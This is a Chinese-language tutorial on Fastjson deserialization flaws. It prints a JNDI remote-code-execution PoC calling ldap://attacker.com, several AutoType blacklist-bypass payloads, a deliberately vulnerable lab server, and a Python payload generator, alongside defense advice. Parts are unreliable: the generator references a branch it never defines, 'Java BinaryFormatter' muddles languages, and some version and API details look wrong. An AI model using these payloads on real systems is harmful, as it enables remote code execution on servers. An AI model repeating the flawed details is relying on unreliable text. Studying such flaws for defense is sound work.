一、Fastjson 是什么

Fastjson 是阿里巴巴开源的 Java JSON 库,以高性能著称。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

String json = "{\"name\":\"admin\",\"age\":25}";
User u = JSON.parseObject(json, User.class);
JSONObject obj = JSON.parseObject(json);  // 不指定类型 → 返回 JSONObject

二、@type 与 AutoType

JSON 协议本身不携带多态类型信息,Fastjson 用 @type 扩展字段解决这个问题:

{"@type":"com.example.Admin","name":"admin","role":"root"}

解析时 Fastjson 根据 @type 加载对应的 Java 类。这就是攻击面的根源——攻击者可以指定任意目标 classpath 里存在的类。

AutoType 开启方式

方式 代码 默认值
全局开启 ParserConfig.getGlobalInstance().setAutoTypeSupport(true) 关(1.2.68+)
Feature 开启 JSON.parseObject(json, Feature.SupportAutoType)
局部 @JsonTypeInfo 字段级别注解 手动

关键时间节点:1.2.25 之前 AutoType 默认开启,这意味着任何 parseObject 调用都接受 @type。

三、最初的 JNDI 利用(CVE-2017-18349)

3.1 原理

com.sun.rowset.JdbcRowSetImpl 类有 dataSourceName 属性。反序列化时 setDataSourceName 会触发 connect() → InitialContext.lookup(ldap://...)。

3.2 PoC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastjsonCVE2017 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\n" +
            "  \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
            "  \"dataSourceName\": \"ldap://attacker.com:1389/exp\",\n" +
            "  \"autoCommit\": false\n" +
            "}";
        JSON.parseObject(payload);
        // setAutoCommit(false) 触发内部连接逻辑 → JNDI lookup → RCE
    }
}

3.3 JDK 限制

JDK 8u191+、11.0.1+ 后,LDAP/RMI 远程加载默认禁用(-Dcom.sun.jndi.rmi.object.trustURLCodebase=false)。绕过需要换链到 TemplatesImpl 或 BCEL。

四、版本演进与绕过

4.1 1.2.25 → 黑名单机制

引入黑名单屏蔽 com.sun.*org.apache.*org.spring.*org.springframework.*javassist.*

绕过思路:用不在黑名单里的类,比如 java.net.Inet4Address / java.net.Inet6Address 触发 DNS,或 com.alibaba.fastjson 自身的类。

4.2 1.2.68 NPE 绕过(最著名的绕过)

String payload = "{\n" +
    "  \"a\": {\n" +
    "    \"@type\": \"java.util.HashMap\",\n" +
    "    \"@type\": \"java.util.HashMap\",\n" +
    "    \"key\": {\n" +
    "      \"@type\": \"X\",\n" +
    "      \"@type\": \"java.net.Inet4Address\",\n" +
    "      \"val\": \"127.0.0.1\"\n" +
    "    }\n" +
    "  }\n" +
    "}";
JSON.parseObject(payload);

原理:中间的 "@type":"X" 指向不存在的类,抛出 ClassNotFoundException。但这个异常在内部被吞掉后流程混乱,导致后面真正的 @type 跳过了黑名单检查。

4.3 1.2.80 多类名类型绕过

// 用数组包裹类名绕过黑名单匹配
String payload = "{\"@type\":[[\"java.lang.AutoCloseable\",\"java.net.Inet4Address\"]]}";

4.4 1.2.81 泛型信息绕过

JSON.parseObject(json, new TypeReference<Map<Inet4Address, String>>(){});
// 通过 TypeReference 指定泛型参数,绕过 AutoType 检查

4.5 1.2.83 safeMode 引入

ParserConfig config = new ParserConfig();
config.setSafeMode(true); // 只有显式传入 Class 的情况下才允许
JSON.parseObject(json, User.class, config);

safeMode 下必须显式传入目标类型参数,完全禁用隐式类型推断。

五、Fastjson 2.x

Fastjson 2.x 重新设计,默认完全关闭 AutoType:

// Fastjson2 默认行为
JSON.parseObject(json, User.class); // 必须指定类型
// 要开启 @type:
JSONFactory.createObjectReader(JSON.Feature.SupportAutoType);

六、靶场搭建

FROM openjdk:8-jdk-slim
RUN apt-get update && apt-get install -y wget maven
WORKDIR /app
COPY pom.xml .
COPY src ./src
RUN mvn package -DskipTests
CMD ["java","-jar","target/fastjson-vuln.jar"]
<!-- pom.xml 指定 Fastjson 漏洞版本 -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.68</version>
</dependency>
// 靶场服务端
public class VulnFastjson {
    public static void main(String[] args) throws Exception {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
        String line;
        while ((line = br.readLine()) != null) {
            try {
                Object obj = JSON.parseObject(line, Object.class);
                System.out.println("Parsed: " + obj.getClass().getName());
            } catch (Exception e) {
                System.out.println("Error: " + e.getMessage());
            }
        }
    }
}

七、防御方案

7.1 升级到 1.2.83+ 或 2.x

7.2 严格 ParserConfig

ParserConfig config = new ParserConfig();
config.setSafeMode(true);
config.setAutoTypeSupport(false);
// 不用全局 ParserConfig
JSON.parseObject(json, MySafeClass.class, config);

7.3 不要反序列化不可信数据

永远不要用 parseObject(json, Object.class)parse(json)

八、总结

Fastjson 漏洞本质是黑名单绕过的军备竞赛。从最初 AutoType 默认开启(直接 JNDI RCE),到引入黑名单(绕过找非黑名单类),再到 NPE 绕过(利用异常处理缺陷跳过检查)。防御上 升级 + 严格白名单 + safeMode 是唯一可靠方案。这个案例教育了整个安全社区:黑名单从来都不是真正的安全机制。

九、Fastjson2 详细分析

Fastjson 2.x(代码仓库 Alibaba/fastjson2)是完全重写的版本,架构上有本质区别:

// 2.x API
import com.alibaba.fastjson2.*;

// 安全默认:必须显式传入 Class
JSONObject obj = JSON.parseObject(json);
User u = JSON.parseObject(json, User.class);

// 开启多态(更严格)
JSONFactory factory = JSONFactory.instance();
factory.register("com.example.Admin", Admin.class);

Fastjson 2.x 多态反序列化走的是显式注册白名单,而不是 1.x 那种 classpath 自动扫描。

十、JNDI RMI vs LDAP 绕过

RMI URL

// rmi://attacker:1099/exp
// JDK 8u191+ 同样禁用 trustURLCodebase

LDAP URL + Reference

// ldap://attacker.com:1389/exp
// 如果 exp 返回的是 Reference 对象 + remoteFactoryLocation
// JDK 11+ trustURLCodebase=false,LDAP 远程加载也被禁用

BCEL / Netty / JDK native gadget

绕过 JDK 限制需要换 gadget 链,常见的有:

  • bcel-util / bcel
  • netty-all(旧版本)
  • HikariCP
  • CommonsCollections6(TemplatesImpl 版本)
  • SnakeYAML

十一、自动化绕过脚本(Python)

import subprocess, sys, base64

def gen_payload(gadget_class, auto_type="NPE"):
    """生成绕过特定版本的 Fastjson payload"""
    if auto_type == "NPE":
        payload = f"""{{
  "a": {{
    "@type": "java.util.HashMap",
    "@type": "java.util.HashMap",
    "key": {{
      "@type": "X",
      "@type": "{gadget_class}"
    }}
  }}
}}"""
    elif auto_type == "CLASS_ARRAY":
        payload = f'{{"@type":[["java.lang.AutoCloseable","{gadget_class}"]]}}'
    return payload

def test_bypass(target, version):
    bypasses = ["NPE", "CLASS_ARRAY", "SAFE_MODE"]
    for b in bypasses:
        # 尝试不同绕过方式
        p = gen_payload("com.sun.rowset.JdbcRowSetImpl", b)
        print(f"[{b}] {p[:80]}...")

十二、Fastjson vs Jackson vs Gson

对比项 Fastjson Jackson Gson
默认 AutoType 关(1.2.68+)
多态类型开启 setAutoTypeSupport(true) enableDefaultTyping() 无直接 API
历史漏洞数
性能
社区活跃度 中(2.x 重写中)

Gson 基本没有多态反序列化 API,所以反序列化漏洞极少。如果不特别需要多态功能,Gson / System.Text.Json 是最安全的选择。

十三、反序列化漏洞的共性

不管是 Fastjson 的 @type、Jackson 的 enableDefaultTyping、还是 Shiro 的 rememberMe——本质都是同一个设计问题:让序列化格式携带了实现语言的类型信息,导致反序列化时可以触发任意类型加载。这和 Java BinaryFormatter / .NET BF 的漏洞根源是相同的。

防御上的统一解决方案是:永远只反序列化你期望的类型,不要让输入决定要加载哪个类